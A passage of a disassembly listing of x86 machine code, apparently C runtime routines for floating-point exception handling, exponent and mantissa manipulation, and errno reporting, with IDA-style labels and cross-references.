mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, 3
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_4228AF
; ---------------------------------------------------------------------------
loc_42287E: ; CODE XREF: sub_422640+211j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 2
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_4228AF
; ---------------------------------------------------------------------------
loc_422890: ; CODE XREF: sub_422640+220j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_4228AF
; ---------------------------------------------------------------------------
loc_4228A2: ; CODE XREF: sub_422640+217j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
mov eax, [ebp+arg_0]
mov [eax], edx
loc_4228AF: ; CODE XREF: sub_422640+222j
; sub_422640+22Dj ...
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 300h
mov [ebp+var_10], edx
cmp [ebp+var_10], 0
jz short loc_4228F8
cmp [ebp+var_10], 200h
jz short loc_4228E6
cmp [ebp+var_10], 300h
jz short loc_4228D7
jmp short loc_422908
; ---------------------------------------------------------------------------
loc_4228D7: ; CODE XREF: sub_422640+293j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_422908
; ---------------------------------------------------------------------------
loc_4228E6: ; CODE XREF: sub_422640+28Aj
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_422908
; ---------------------------------------------------------------------------
loc_4228F8: ; CODE XREF: sub_422640+281j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_422908: ; CODE XREF: sub_422640+295j
; sub_422640+2A4j ...
mov eax, [ebp+arg_C]
and eax, 0FFFh
shl eax, 5
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFE001Fh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
and edx, 0FFFFFFE1h
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_10]
mov eax, [edx]
mov [ecx+10h], eax
mov edx, [edx+4]
mov [ecx+14h], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
or ecx, 1
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_14]
mov edx, [ecx]
mov [eax+40h], edx
mov ecx, [ecx+4]
mov [eax+44h], ecx
call sub_423300
lea edx, [ebp+arg_0]
push edx
push 1
push 0
mov eax, [ebp+var_4]
push eax
nop
call near ptr 28C077Ah
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 4
and edx, 1
test edx, edx
jz short loc_4229BD
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_4229BD: ; CODE XREF: sub_422640+36Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
shr ecx, 3
and ecx, 1
test ecx, ecx
jz short loc_4229D9
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0FBh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_4229D9: ; CODE XREF: sub_422640+38Bj
mov edx, [ebp+arg_0]
mov eax, [edx+8]
shr eax, 2
and eax, 1
test eax, eax
jz short loc_4229F6
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 0FFFFFFF7h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_4229F6: ; CODE XREF: sub_422640+3A7j
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
and edx, 1
test edx, edx
jz short loc_422A12
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFEFh
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_422A12: ; CODE XREF: sub_422640+3C3j
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
test ecx, ecx
jz short loc_422A2B
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0DFh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_422A2B: ; CODE XREF: sub_422640+3DDj
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 3
mov [ebp+var_14], eax
cmp [ebp+var_14], 3
ja short loc_422A89
mov ecx, [ebp+var_14]
jmp off_422AF1[ecx*4]
loc_422A46: ; DATA XREF: ___:00422AFDo
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 0Ch
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_422A89
; ---------------------------------------------------------------------------
loc_422A58: ; CODE XREF: sub_422640+3FFj
; DATA XREF: ___:00422AF9o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 8
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_422A89
; ---------------------------------------------------------------------------
loc_422A6A: ; CODE XREF: sub_422640+3FFj
; DATA XREF: ___:00422AF5o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 4
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_422A89
; ---------------------------------------------------------------------------
loc_422A7C: ; CODE XREF: sub_422640+3FFj
; DATA XREF: ___:off_422AF1o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_422A89: ; CODE XREF: sub_422640+3FAj
; sub_422640+416j ...
mov edx, [ebp+arg_0]
mov eax, [edx]
shr eax, 2
and eax, 7
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_422AAB
cmp [ebp+var_18], 1
jz short loc_422ABD
cmp [ebp+var_18], 2
jz short loc_422ACF
jmp short loc_422ADC
; ---------------------------------------------------------------------------
loc_422AAB: ; CODE XREF: sub_422640+45Bj
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 3
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_422ADC
; ---------------------------------------------------------------------------
loc_422ABD: ; CODE XREF: sub_422640+461j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 2
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_422ADC
; ---------------------------------------------------------------------------
loc_422ACF: ; CODE XREF: sub_422640+467j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_422ADC: ; CODE XREF: sub_422640+469j
; sub_422640+47Bj ...
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_14]
mov eax, [ecx+40h]
mov [edx], eax
mov ecx, [ecx+44h]
mov [edx+4], ecx
mov esp, ebp
pop ebp
retn
sub_422640 endp
; ---------------------------------------------------------------------------
off_422AF1 dd offset loc_422A7C ; DATA XREF: sub_422640+3FFr
dd offset loc_422A6A
dd offset loc_422A58
dd offset loc_422A46
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B10 proc near ; CODE XREF: sub_4224B0+12p
; ___:00422582p
var_44 = dword ptr -44h
var_40 = qword ptr -40h
var_38 = qword ptr -38h
var_30 = qword ptr -30h
var_28 = qword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 44h
mov eax, [ebp+arg_0]
and eax, 1Fh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_422B4A
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_422B4A
push 1
call sub_423360
add esp, 4
mov eax, [ebp+var_4]
and al, 0F7h
mov [ebp+var_4], eax
jmp loc_422E4E
; ---------------------------------------------------------------------------
loc_422B4A: ; CODE XREF: sub_422B10+17j
; sub_422B10+21j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_422B75
mov edx, [ebp+arg_8]
and edx, 4
test edx, edx
jz short loc_422B75
push 4
call sub_423360
add esp, 4
mov eax, [ebp+var_4]
and al, 0FBh
mov [ebp+var_4], eax
jmp loc_422E4E
; ---------------------------------------------------------------------------
loc_422B75: ; CODE XREF: sub_422B10+42j
; sub_422B10+4Cj
mov ecx, [ebp+arg_0]
and ecx, 1
test ecx, ecx
jz loc_422CF1
mov edx, [ebp+arg_8]
and edx, 8
test edx, edx
jz loc_422CF1
push 8
call sub_423360
add esp, 4
mov eax, [ebp+arg_8]
and eax, 0C00h
mov [ebp+var_20], eax
cmp [ebp+var_20], 800h
ja short loc_422BD0
cmp [ebp+var_20], 800h
jz short loc_422C25
cmp [ebp+var_20], 0
jz short loc_422BE2
cmp [ebp+var_20], 400h
jz loc_422C65
jmp loc_422CE3
; ---------------------------------------------------------------------------
loc_422BD0: ; CODE XREF: sub_422B10+9Dj
cmp [ebp+var_20], 0C00h
jz loc_422CA5
jmp loc_422CE3
; ---------------------------------------------------------------------------
loc_422BE2: ; CODE XREF: sub_422B10+ACj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_434140
fnstsw ax
test ah, 41h
jnz short loc_422C07
mov edx, dword ptr dbl_444208
mov dword ptr [ebp+var_28], edx
mov eax, dword ptr dbl_444208+4
mov dword ptr [ebp+var_28+4], eax
jmp short loc_422C12
; ---------------------------------------------------------------------------
loc_422C07: ; CODE XREF: sub_422B10+E2j
fld dbl_444208
fchs
fstp [ebp+var_28]
loc_422C12: ; CODE XREF: sub_422B10+F5j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_28]
mov [ecx], edx
mov eax, dword ptr [ebp+var_28+4]
mov [ecx+4], eax
jmp loc_422CE3
; ---------------------------------------------------------------------------
loc_422C25: ; CODE XREF: sub_422B10+A6j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_434140
fnstsw ax
test ah, 41h
jnz short loc_422C4A
mov edx, dword ptr dbl_444208
mov dword ptr [ebp+var_30], edx
mov eax, dword ptr dbl_444208+4
mov dword ptr [ebp+var_30+4], eax
jmp short loc_422C55
; ---------------------------------------------------------------------------
loc_422C4A: ; CODE XREF: sub_422B10+125j
fld dbl_444218
fchs
fstp [ebp+var_30]
loc_422C55: ; CODE XREF: sub_422B10+138j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_30]
mov [ecx], edx
mov eax, dword ptr [ebp+var_30+4]
mov [ecx+4], eax
jmp short loc_422CE3
; ---------------------------------------------------------------------------
loc_422C65: ; CODE XREF: sub_422B10+B5j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_434140
fnstsw ax
test ah, 41h
jnz short loc_422C8A
mov edx, dword ptr dbl_444218
mov dword ptr [ebp+var_38], edx
mov eax, dword ptr dbl_444218+4
mov dword ptr [ebp+var_38+4], eax
jmp short loc_422C95
; ---------------------------------------------------------------------------
loc_422C8A: ; CODE XREF: sub_422B10+165j
fld dbl_444208
fchs
fstp [ebp+var_38]
loc_422C95: ; CODE XREF: sub_422B10+178j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_38]
mov [ecx], edx
mov eax, dword ptr [ebp+var_38+4]
mov [ecx+4], eax
jmp short loc_422CE3
; ---------------------------------------------------------------------------
loc_422CA5: ; CODE XREF: sub_422B10+C7j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_434140
fnstsw ax
test ah, 41h
jnz short loc_422CCA
mov edx, dword ptr dbl_444218
mov dword ptr [ebp+var_40], edx
mov eax, dword ptr dbl_444218+4
mov dword ptr [ebp+var_40+4], eax
jmp short loc_422CD5
; ---------------------------------------------------------------------------
loc_422CCA: ; CODE XREF: sub_422B10+1A5j
fld dbl_444218
fchs
fstp [ebp+var_40]
loc_422CD5: ; CODE XREF: sub_422B10+1B8j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_40]
mov [ecx], edx
mov eax, dword ptr [ebp+var_40+4]
mov [ecx+4], eax
loc_422CE3: ; CODE XREF: sub_422B10+BBj
; sub_422B10+CDj ...
mov ecx, [ebp+var_4]
and ecx, 0FFFFFFFEh
mov [ebp+var_4], ecx
jmp loc_422E4E
; ---------------------------------------------------------------------------
loc_422CF1: ; CODE XREF: sub_422B10+6Dj
; sub_422B10+7Bj
mov edx, [ebp+arg_0]
and edx, 2
test edx, edx
jz loc_422E4E
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz loc_422E4E
mov [ebp+var_8], 0
mov ecx, [ebp+arg_0]
and ecx, 10h
test ecx, ecx
jz short loc_422D25
mov [ebp+var_8], 1
loc_422D25: ; CODE XREF: sub_422B10+20Cj
mov edx, [ebp+arg_4]
fld qword ptr [edx]
fcomp dbl_434140
fnstsw ax
test ah, 40h
jnz loc_422E2E
lea eax, [ebp+var_18]
push eax ; int
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
push edx
mov eax, [ecx]
push eax ; double
call sub_4231A0
add esp, 0Ch
fstp [ebp+var_10]
mov ecx, [ebp+var_18]
sub ecx, 600h
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0FFFFFBCEh
jge short loc_422D81
fld [ebp+var_10]
fmul dbl_434140
fstp [ebp+var_10]
mov [ebp+var_8], 1
jmp loc_422E1E
; ---------------------------------------------------------------------------
loc_422D81: ; CODE XREF: sub_422B10+257j
fld [ebp+var_10]
fcomp dbl_434140
fnstsw ax
test ah, 1
jz short loc_422D9A
mov [ebp+var_44], 1
jmp short loc_422DA1
; ---------------------------------------------------------------------------
loc_422D9A: ; CODE XREF: sub_422B10+27Fj
mov [ebp+var_44], 0
loc_422DA1: ; CODE XREF: sub_422B10+288j
mov edx, [ebp+var_44]
mov [ebp+var_1C], edx
mov ax, word ptr [ebp+var_10+6]
and ax, 0Fh
mov word ptr [ebp+var_10+6], ax
mov cx, word ptr [ebp+var_10+6]
or cl, 10h
mov word ptr [ebp+var_10+6], cx
jmp short loc_422DC9
; ---------------------------------------------------------------------------
loc_422DC0: ; CODE XREF: sub_422B10+2FEj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_422DC9: ; CODE XREF: sub_422B10+2AEj
cmp [ebp+var_14], 0FFFFFC03h
jge short loc_422E10
mov eax, dword ptr [ebp+var_10]
and eax, 1
test eax, eax
jz short loc_422DE9
cmp [ebp+var_8], 0
jnz short loc_422DE9
mov [ebp+var_8], 1
loc_422DE9: ; CODE XREF: sub_422B10+2CAj
; sub_422B10+2D0j
mov ecx, dword ptr [ebp+var_10]
shr ecx, 1
mov dword ptr [ebp+var_10], ecx
mov edx, dword ptr [ebp+var_10+4]
and edx, 1
test edx, edx
jz short loc_422E06
mov eax, dword ptr [ebp+var_10]
or eax, 80000000h
mov dword ptr [ebp+var_10], eax
loc_422E06: ; CODE XREF: sub_422B10+2E9j
mov ecx, dword ptr [ebp+var_10+4]
shr ecx, 1
mov dword ptr [ebp+var_10+4], ecx
jmp short loc_422DC0
; ---------------------------------------------------------------------------
loc_422E10: ; CODE XREF: sub_422B10+2C0j
cmp [ebp+var_1C], 0
jz short loc_422E1E
fld [ebp+var_10]
fchs
fstp [ebp+var_10]
loc_422E1E: ; CODE XREF: sub_422B10+26Cj
; sub_422B10+304j
mov edx, [ebp+arg_4]
mov eax, dword ptr [ebp+var_10]
mov [edx], eax
mov ecx, dword ptr [ebp+var_10+4]
mov [edx+4], ecx
jmp short loc_422E35
; ---------------------------------------------------------------------------
loc_422E2E: ; CODE XREF: sub_422B10+225j
mov [ebp+var_8], 1
loc_422E35: ; CODE XREF: sub_422B10+31Cj
cmp [ebp+var_8], 0
jz short loc_422E45
push 10h
call sub_423360
add esp, 4
loc_422E45: ; CODE XREF: sub_422B10+329j
mov edx, [ebp+var_4]
and edx, 0FFFFFFFDh
mov [ebp+var_4], edx
loc_422E4E: ; CODE XREF: sub_422B10+35j
; sub_422B10+60j ...
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_422E75
mov ecx, [ebp+arg_8]
and ecx, 20h
test ecx, ecx
jz short loc_422E75
push 20h
call sub_423360
add esp, 4
mov edx, [ebp+var_4]
and edx, 0FFFFFFEFh
mov [ebp+var_4], edx
loc_422E75: ; CODE XREF: sub_422B10+346j
; sub_422B10+350j
xor eax, eax
cmp [ebp+var_4], 0
setz al
mov esp, ebp
pop ebp
retn
sub_422B10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_422E90(int,int,int,int,int,int,double,int)
sub_422E90 proc near ; CODE XREF: sub_4223E0+2Ap
; ___:0042247Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_4]
push eax
call sub_422F70
add esp, 4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_422F07
mov ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_18], edx
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_10]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_C], edx
mov eax, dword ptr [ebp+arg_18]
mov dword ptr [ebp+var_8], eax
mov ecx, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], ecx
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_423320
add esp, 8
lea eax, [ebp+var_20]
push eax
call sub_4297F0
add esp, 4
test eax, eax
jnz short loc_422F02
mov ecx, [ebp+arg_0]
push ecx
call sub_422F30
add esp, 4
loc_422F02: ; CODE XREF: sub_422E90+64j
fld [ebp+var_8]
jmp short loc_422F27
; ---------------------------------------------------------------------------
loc_422F07: ; CODE XREF: sub_422E90+19j
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_423320
add esp, 8
mov eax, [ebp+arg_0]
push eax
call sub_422F30
add esp, 4
fld [ebp+arg_18]
loc_422F27: ; CODE XREF: sub_422E90+75j
mov esp, ebp
pop ebp
retn
sub_422E90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F30 proc near ; CODE XREF: sub_4224B0+92p
; ___:0042261Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp [ebp+var_4], 1
jz short loc_422F4E
cmp [ebp+var_4], 1
jle short loc_422F66
cmp [ebp+var_4], 3
jle short loc_422F5B
jmp short loc_422F66
; ---------------------------------------------------------------------------
loc_422F4E: ; CODE XREF: sub_422F30+Ej
call sub_420520
mov dword ptr [eax], 21h
jmp short loc_422F66
; ---------------------------------------------------------------------------
loc_422F5B: ; CODE XREF: sub_422F30+1Aj
call sub_420520
mov dword ptr [eax], 22h
loc_422F66: ; CODE XREF: sub_422F30+14j
; sub_422F30+1Cj ...
mov esp, ebp
pop ebp
retn
sub_422F30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F70 proc near ; CODE XREF: sub_422E90+Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_422F86
; ---------------------------------------------------------------------------
loc_422F7D: ; CODE XREF: sub_422F70:loc_422FA7j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_422F86: ; CODE XREF: sub_422F70+Bj
cmp [ebp+var_4], 1Bh
jge short loc_422FA9
mov ecx, [ebp+var_4]
mov edx, dword_444130[ecx*8]
cmp edx, [ebp+arg_0]
jnz short loc_422FA7
mov eax, [ebp+var_4]
mov eax, off_444134[eax*8]
jmp short loc_422FAB
; ---------------------------------------------------------------------------
loc_422FA7: ; CODE XREF: sub_422F70+29j
jmp short loc_422F7D
; ---------------------------------------------------------------------------
loc_422FA9: ; CODE XREF: sub_422F70+1Aj
xor eax, eax
loc_422FAB: ; CODE XREF: sub_422F70+35j
mov esp, ebp
pop ebp
retn
sub_422F70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FB0 proc near ; CODE XREF: sub_4224B0+4Ap
; ___:004225D2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and eax, 20h
test eax, eax
jz short loc_422FC7
mov [ebp+var_4], 5
jmp short loc_42301A
; ---------------------------------------------------------------------------
loc_422FC7: ; CODE XREF: sub_422FB0+Cj
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_422FDA
mov [ebp+var_4], 1
jmp short loc_42301A
; ---------------------------------------------------------------------------
loc_422FDA: ; CODE XREF: sub_422FB0+1Fj
mov edx, [ebp+arg_0]
and edx, 4
test edx, edx
jz short loc_422FED
mov [ebp+var_4], 2
jmp short loc_42301A
; ---------------------------------------------------------------------------
loc_422FED: ; CODE XREF: sub_422FB0+32j
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_423000
mov [ebp+var_4], 3
jmp short loc_42301A
; ---------------------------------------------------------------------------
loc_423000: ; CODE XREF: sub_422FB0+45j
mov ecx, [ebp+arg_0]
and ecx, 2
test ecx, ecx
jz short loc_423013
mov [ebp+var_4], 4
jmp short loc_42301A
; ---------------------------------------------------------------------------
loc_423013: ; CODE XREF: sub_422FB0+58j
mov [ebp+var_4], 0
loc_42301A: ; CODE XREF: sub_422FB0+15j
; sub_422FB0+28j ...
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_422FB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423030 proc near ; CODE XREF: ___:004230C9p
; sub_4231A0+ECp ...
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov dword ptr [ebp+var_C], eax
mov ecx, [ebp+arg_4]
mov dword ptr [ebp+var_C+4], ecx
mov edx, [ebp+arg_8]
add edx, 3FEh
mov [ebp+var_4], edx
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 800Fh
mov ecx, [ebp+var_4]
shl ecx, 4
or eax, ecx
mov word ptr [ebp+var_C+6], ax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_423030 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
mov [ebp-4], ax
mov cx, [ebp-4]
sub cx, 3FEh
mov [ebp-4], cx
movsx eax, word ptr [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
movsx ecx, ax
mov edx, [ebp+10h]
lea eax, [ecx+edx-3FEh]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_423030
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp+0Ch]
mov [ebp-4], ecx
mov edx, [ebp+0Eh]
and edx, 0FFFFh
and edx, 800Fh
mov eax, [ebp+10h]
shl eax, 4
or edx, eax
mov [ebp-2], dx
fld qword ptr [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423120 proc near ; CODE XREF: sub_418F70+3Fp
; sub_419190+3Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 7FF00000h
jnz short loc_423139
cmp [ebp+arg_0], 0
jnz short loc_423139
mov eax, 1
jmp short loc_42319A
; ---------------------------------------------------------------------------
loc_423139: ; CODE XREF: sub_423120+Aj
; sub_423120+10j
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_42314F
cmp [ebp+arg_0], 0
jnz short loc_42314F
mov eax, 2
jmp short loc_42319A
; ---------------------------------------------------------------------------
loc_42314F: ; CODE XREF: sub_423120+20j
; sub_423120+26j
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 7FF8h
cmp eax, 7FF8h
jnz short loc_42316A
mov eax, 3
jmp short loc_42319A
; ---------------------------------------------------------------------------
loc_42316A: ; CODE XREF: sub_423120+41j
mov ecx, [ebp+arg_4+2]
and ecx, 0FFFFh
and ecx, 7FF8h
cmp ecx, 7FF0h
jnz short loc_423198
mov edx, [ebp+arg_4]
shl edx, 0Dh
test edx, edx
jnz short loc_423191
cmp [ebp+arg_0], 0
jz short loc_423198
loc_423191: ; CODE XREF: sub_423120+69j
mov eax, 4
jmp short loc_42319A
; ---------------------------------------------------------------------------
loc_423198: ; CODE XREF: sub_423120+5Fj
; sub_423120+6Fj
xor eax, eax
loc_42319A: ; CODE XREF: sub_423120+17j
; sub_423120+2Dj ...
pop ebp
retn
sub_423120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4231A0(double,int)
sub_4231A0 proc near ; CODE XREF: sub_422B10+239p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
fld [ebp+arg_0]
fcomp dbl_434140
fnstsw ax
test ah, 40h
jz short loc_4231D0
mov dword ptr [ebp+var_C], 0
mov dword ptr [ebp+var_C+4], 0
mov [ebp+var_4], 0
jmp loc_4232CA
; ---------------------------------------------------------------------------
loc_4231D0: ; CODE XREF: sub_4231A0+14j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 7FF0h
test eax, eax
jnz loc_423299
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 0Ch
test ecx, ecx
jnz short loc_4231F9
cmp dword ptr [ebp+arg_0], 0
jz loc_423299
loc_4231F9: ; CODE XREF: sub_4231A0+4Dj
mov [ebp+var_4], 0FFFFFC03h
fld [ebp+arg_0]
fcomp dbl_434140
fnstsw ax
test ah, 1
jz short loc_423219
mov [ebp+var_14], 1
jmp short loc_423220
; ---------------------------------------------------------------------------
loc_423219: ; CODE XREF: sub_4231A0+6Ej
mov [ebp+var_14], 0
loc_423220: ; CODE XREF: sub_4231A0+77j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
loc_423226: ; CODE XREF: sub_4231A0+C3j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jnz short loc_423265
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 1
mov dword ptr [ebp+arg_0+4], ecx
mov edx, dword ptr [ebp+arg_0]
and edx, 80000000h
test edx, edx
jz short loc_423252
mov eax, dword ptr [ebp+arg_0+4]
or al, 1
mov dword ptr [ebp+arg_0+4], eax
loc_423252: ; CODE XREF: sub_4231A0+A8j
mov ecx, dword ptr [ebp+arg_0]
shl ecx, 1
mov dword ptr [ebp+arg_0], ecx
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_423226
; ---------------------------------------------------------------------------
loc_423265: ; CODE XREF: sub_4231A0+93j
mov ax, word ptr [ebp+arg_0+6]
and ax, 0FFEFh
mov word ptr [ebp+arg_0+6], ax
cmp [ebp+var_10], 0
jz short loc_423282
mov cx, word ptr [ebp+arg_0+6]
or ch, 80h
mov word ptr [ebp+arg_0+6], cx
loc_423282: ; CODE XREF: sub_4231A0+D5j
push 0
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_423030
add esp, 0Ch
fstp [ebp+var_C]
jmp short loc_4232CA
; ---------------------------------------------------------------------------
loc_423299: ; CODE XREF: sub_4231A0+3Fj
; sub_4231A0+53j
push 0
mov ecx, dword ptr [ebp+arg_0+4]
push ecx
mov edx, dword ptr [ebp+arg_0]
push edx
call sub_423030
